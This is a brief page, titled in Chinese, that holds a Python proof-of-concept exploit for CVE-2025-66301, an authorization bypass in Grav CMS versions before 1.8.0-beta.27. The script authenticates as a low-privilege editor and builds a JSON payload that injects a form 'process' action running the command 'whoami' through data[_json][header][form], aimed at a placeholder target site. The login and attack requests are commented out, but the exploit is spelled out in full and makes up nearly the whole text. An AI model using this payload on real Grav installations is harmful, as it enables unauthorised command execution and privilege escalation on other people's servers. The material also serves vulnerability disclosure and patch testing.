CVE-2025-66301: Grav CMS 授权绕过漏洞导致权限提升

import requests import json # CVE-2025-66301 PoC - Grav CMS Authorization Bypass # Target: Grav CMS < 1.8.0-beta.27 TARGET_URL = "http://target-site.com/admin/pages/{page_name}" USERNAME = "editor_user" PASSWORD = "editor_password" session = requests.Session() # Step 1: Login to get session login_url = "http://target-site.com/admin" login_data = { "username": USERNAME, "password": PASSWORD } # session.post(login_url, data=login_data) # Step 2: Prepare malicious payload to modify form processing # Inject malicious process configuration in data[_json][header][form] malicious_payload = { "data": { "_json": { "header": { "form": { "process": [ { "action": "exec", "command": "whoami" } ] } } } } } # Step 3: Send crafted POST request with malicious payload headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # response = session.post(TARGET_URL, json=malicious_payload, headers=headers) print("PoC for CVE-2025-66301 - Authorization bypass in Grav CMS") print("Target: Grav CMS < 1.8.0-beta.27") print("Attack: Modify form processing configuration via data[_json][header][form]")